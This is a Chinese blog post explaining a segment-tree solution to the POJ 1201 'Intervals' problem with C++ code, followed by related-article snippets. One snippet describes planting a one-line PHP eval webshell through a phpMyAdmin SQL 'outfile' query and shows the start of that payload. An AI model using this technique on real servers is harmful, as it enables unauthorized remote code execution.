POJ 1201 Intervals 线段树

一、题目大意

给我们一些闭区间[ai , bi],其中 1 <= ai <= bi <= 50000,让我们求出一个集合,使得这个集合与 区间 [ai , bi]有 ci个共同元素,对于所有的 1<=i <=n个区间而言。

二、解题思路

根据题目范围,我们可以对 1到50000的数字进行循环,然后每次循环中用线段树进行操作,O(n*logn)的复杂性时间上可行。

1、我们可以把所有的区间按照区间的起点进行排序,然后计算出每个区间的 bi - ci + 1,用线段树维护各个区间的 bi - ci + 1的最小值。

2、针对每次循环的数字 num,只需要用二分确定 ai 小于等于它的范围 R,然后从线段树中查询出其中最小的 bi - ci + 1,如果 bi - ci + 1 == num,代表这个数字需要被选择,答案加一,同时需要更新线段树上的[0 , R) 内所有的 bi - ci + 1 值为原来的值 + 1

3、每次循环 num后,判断 num 是否等于某个区间的 bi,如果等于,则将对应的 bi 在线段树上的节点的 bi - ci + 1 设置为50007(50000以上则为废弃节点,因为大于所有的num),然后循环向上更新父节点即可。

本题目的线段树需要实现以下两个功能。

1、查询 [0 , R)的 bi - ci + 1的最小值

2、更新[0, R)范围内所有的 bi - ci + 1

那么我们需要让线段树上保存两个值

1、[0, R)区间内集体加上的值(dat)

2、[0 , R)内去掉第1点剩余部分的最小值(rmq)。

这样对于查询操作时,只需要加上所有父节点及自己的 dat,和自身的rmq即可。

对于更新操作时,只需要更新自己的dat,

并递归所有父节点的 rmq[parent]=min(rmq[lch]+dat[lch],rmq[rch]+dat[rch])即可。

总结:每次利用RMQ求出 a1 <=  num范围内的 bi - ci + 1的最小值,与num进行比较,即可知道这个数字是需要选择,接下来在树上废弃掉 bi <= num的节点即可不会被已经经过的区间影响,同时如果这个数字被选择,更新 a1 <= num的全部节点 为原来的值+1,这样代表这些区间内都加入了一个有效元素,以为下次循环做铺垫。

三、代码

#include <iostream>
#include <algorithm>
using namespace std;
typedef pair<int, int> P;
P sortByA[50007], sortByB[50007];
int rmq[131072], dat[131072], a[50009], b[50009], c[50009], n, _current, maxt, ans;
void input()
{scanf("%d", &n);maxt = 0, ans = 0;for (int i = 0; i < n; i++){scanf("%d%d%d", &a[i], &b[i], &c[i]);maxt = max(maxt, b[i]);sortByA[i].first = a[i];sortByA[i].second = i;}sort(sortByA, sortByA + n);for (int i = 0; i < n; i++){sortByB[i].first = b[sortByA[i].second];sortByB[i].second = i;}sort(sortByB, sortByB + n);
}
void build(int i, int l, int r)
{if (r - l == 1){rmq[i] = b[sortByA[l].second] - c[sortByA[l].second] + 1;}else{int lch = i * 2 + 1;int rch = i * 2 + 2;build(lch, l, (l + r) / 2);build(rch, (l + r) / 2, r);rmq[i] = min(rmq[lch], rmq[rch]);}
}
int query(int _l, int _r, int i, int l, int r)
{if (_l >= r || _r <= l){return 50007;}else if (l >= _l && r <= _r){return rmq[i] + dat[i];}else{if (dat[i] > 50000){return dat[i];}int lch = query(_l, _r, i * 2 + 1, l, (l + r) / 2);int rch = query(_l, _r, i * 2 + 2, (l + r) / 2, r);return min(lch, rch) + dat[i];}
}
void update(int _l, int _r, int i, int l, int r, int v)
{if (_l >= r || _r <= l){}else if (l >= _l && r <= _r){dat[i] += v;int j = i;while (j > 0){j = (j - 1) / 2;rmq[j] = min(rmq[j * 2 + 1] + dat[j * 2 + 1], rmq[j * 2 + 2] + dat[j * 2 + 2]);}}else{update(_l, _r, i * 2 + 1, l, (l + r) / 2, v);update(_l, _r, i * 2 + 2, (l + r) / 2, r, v);}
}
void solveItem()
{int idx = upper_bound(sortByA, sortByA + n, P(_current, 0x3f3f3f3f)) - sortByA;if (idx <= 0){return;}int mint = query(0, idx, 0, 0, n);if (mint == _current){update(0, idx, 0, 0, n, 1);ans++;}int past = lower_bound(sortByB, sortByB + n, P(_current, -0x3f3f3f3f)) - sortByB;for (int j = past; j < n; j++){if (sortByB[j].first != _current){break;}update(sortByB[j].second, sortByB[j].second + 1, 0, 0, n, 50007);}
}
void solve()
{for (int i = 0; i <= maxt; i++){_current = i;solveItem();}
}
int main()
{input();build(0, 0, n);solve();printf("%d\n", ans);return 0;
}

四、运行情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/122904.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SAP从入门到放弃系列之QM动态修改(Dynamic Modification)

目录 一、 概念二、系统操作 一、 概念 结合样本确定&#xff0c;动态修改也发挥着重要作用。根据先前检验的结果&#xff0c;动态修改会自动减少或增加 样本的大小。设置一定的规则&#xff0c;可以减少或增加检验中涉及的工作&#xff0c;也可节约检验成本。但是注意这种情况…

工业相机常见的工作模式、触发方式

参考&#xff1a;机器视觉——工业相机的触发应用(1) - 知乎 工业相机常见的工作模式一般分为&#xff1a; 触发模式连续模式同步模式授时同步模式 触发模式&#xff1a;相机收到外部的触发命令后&#xff0c;开始按照约定时长进行曝光&#xff0c;曝光结束后输出一帧图像。…

傅立叶级数的意义--傅立叶级数是怎么来的

写这篇文章的起因是14年有道题目&#xff1a; 本题实质上是考察傅立叶级数的意义&#xff0c;因此要求扩大为不能只拘泥于傅里叶级数的计算相关问题&#xff0c;故作此篇。 一、课本上的内容 傅立叶级数&#xff1a; 设函数 f ( x ) f(x) f(x)是周期为 2 l 2l 2l的周期函数&…

应用案例|基于三维机器视觉的机器人引导电动汽车充电头自动插拔应用方案

Part.1 项目背景 人类对减少温室气体排放、提高能源效率以及减少对化石燃料的依赖&#xff0c;加速了电动汽车的普及&#xff0c;然而&#xff0c;电动汽车的充电依然面临一些挑战。传统的电动汽车充电通常需要人工干预&#xff0c;插入和拔出充电头&#xff0c;这不仅可能导致…

计算机中了faust勒索病毒怎么办,faust勒索病毒解密,数据恢复

近年来网络技术得到了飞速发展&#xff0c;为人们的企业生产生活提供了极大便利&#xff0c;但随之而来的网络安全威胁也不断增加&#xff0c;近期&#xff0c;云天数据恢复中心收到了很多企业的求助&#xff0c;企业的计算机服务器遭到了faust勒索病毒攻击&#xff0c;导致企业…

Vue3.0插槽

用法&#xff1a; 父组件App.vue <template><div><!--将html代码插入到子组件中带默认名称的插槽中--><AChild><!--这段html会插入到AChild组件中<slot></slot>插槽中--><!-- 注意&#xff1a;写在父组件中的html代码只能在父组…

ubuntu 18.04 编译安装flexpart 10.4(2023年) —— 筑梦之路

2023年10月29日 环境说明 操作系统版本&#xff1a;ubuntu 18.04 python版本&#xff1a;3.6.9 gcc版本&#xff1a;7.5.0 编译安装路径&#xff1a;/usr/local cmake: 3.10.2 所需要的源码包我已经打包放到我的资源。 2021年1月份已经写过一篇Ubuntu 编译安装的帖子F…

电子器件 二极管

二极管主要是利用其单向导电性&#xff0c;通常用于整流、检波、限幅、元件保护等&#xff0c;在数字电路中常作为开关元件。 一、常用二极管类型 高频二极管 1N4148 等 肖特基二极管 SS14 SS34 SS54 等 快恢复二极管&#xff08;FRD&#xff09; 可以用快恢复二极管代替肖特…

YUV的红蓝颠倒(反色)的原因及解决

原因 UV排列反了。 比如说&#xff0c;NV21和YUV420SP的Y排列相同&#xff0c;UV则相反。给你YUV420SP&#xff0c;你当作NV21保存JPG&#xff0c;就会发生红蓝拿起。 解决办法 就是把UV互换一下。具体代码&#xff1a; NV21转YUV420SP的代码_nv21转yuv420格式-CSDN博客 …

【机器学习可解释性】4.SHAP 值

机器学习可解释性 1.模型洞察的价值2.特征重要性排列3.部分依赖图4.SHAP 值5.SHAP 值 高级使用 正文 理解各自特征的预测结果&#xff1f; 介绍 您已经看到(并使用)了从机器学习模型中提取一般解释技术。但是&#xff0c;如果你想要打破模型对单个预测的工作原理? SHAP 值…

C++模板编程和标准模板库(STL)

1、C模板编程 1&#xff09;函数模板 #include <iostream> using namespace std;// 声明一个泛型类型T&#xff0c;参数化数据类型 template <typename T> // 定义一个函数模板 T man(T a, T b) {return (a>b?a:b); }int main() {// 使用的时候没有指定参数类…

开源3D激光(视觉)SLAM算法汇总(持续更新)

原文连接 目录 一、Cartographer 二、hdl_graph_slam 三、LOAM 四、LeGO-LOAM 五、LIO-SAM 六、S-LOAM 七、M-LOAM 八、livox-loam 九、Livox-Mapping 十、LIO-Livox 十一、FAST-LIO2 十二、LVI-SAM 十三、FAST-Livo 十四、R3LIVE 十五、ImMesh 十六、Point-LIO 一、Cartograph…

canvas基础3 -- 交互

点击交互 使用 isPointInPath(x, y) 判断鼠标点击位置在不在图形内 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"&…

拿到 phpMyAdmin 如何获取权限

文章目录 拿到 phpMyAdmin 如何获取权限1. outfile 写一句话木马2. general_log_file 写一句话木马 拿到 phpMyAdmin 如何获取权限 1. outfile 写一句话木马 尝试使用SQL注入写文件的方式&#xff0c;执行 outfile 语句写入一句话木马。 select "<?php eval($_REQU…

电商独立站前端、后端、接口协议和电商API接口请求方式

前端是做什么的&#xff1f;后端是做什么的&#xff1f;哪些事情&#xff0c;是前端做的&#xff1f;哪些事情&#xff0c;是后端做的&#xff1f;前后端一体是什么意思&#xff1f;接口、接口协议、接口请求方式…… 1、前端所写的程序&#xff0c;主要运行在客户端&#xff…

postgresql14管理(六)-备份与恢复

定义 备份&#xff08;backup&#xff09;&#xff1a;通过物理复制或逻辑导出的方式&#xff0c;将数据库的文件或结构和数据拷贝到其他位置进行存储&#xff1b; 还原&#xff08;restore&#xff09;&#xff1a;是一种不完全的恢复。使用备份文件将数据库恢复到备份时的状…

项目|金额场景计算BigDecimal使用简记

前言 在实际项目开发中&#xff0c;我们经常会遇到一些金额计算&#xff0c;分摊等问题&#xff0c;通常我们都使用java.math.BigDecimal 来完成各种计算&#xff0c;避免使用浮点数float,double来计算金额&#xff0c;以免丢失精度&#xff0c;以下是博主部分使用场景和使用Bi…

[Docker]三.Docker 部署nginx,以及映射端口,挂载数据卷

一.Docker 部署 Nginx 以及端口映射 Docker 部署 Nginx,首先需要下载nginx镜像,然后启动这个镜像,就运行了一个nginx的容器了 1.下载 nginx 镜像并启动容器 #查看是否存在nginx镜像:发现没有nginx镜像 [rootlocalhost zph]# docker images | grep nginx#下载nginx镜像 [rootl…

【Spring】IOC容器与Bean的常用属性配置

文章目录 1.前言2.IOC容器2.1 BeanFactory 容器2.2 ApplicationContext 容器 3.Bean的常用属性配置4. 总结 1.前言 在之前的文章-IOC的快速入门中讲过Bean这个概念. 本来就来介绍容器与Bean的常用属性配置 在Spring框架中&#xff0c;Bean指的是被Spring加载生成出来的对象。 …

12、SpringCloud -- redis库存和redis预库存保持一致、优化后的压测效果

目录 redis库存和redis预库存保持一致问题的产生需求:代码:测试:优化后的压测效果之前的测试数据优化后的测试数据redis库存和redis预库存保持一致 redis库存是指初始化是从数据库中获取最新的秒杀商品列表数据存到redis中 redis的预库存是指每个秒杀商品每次成功秒杀之后…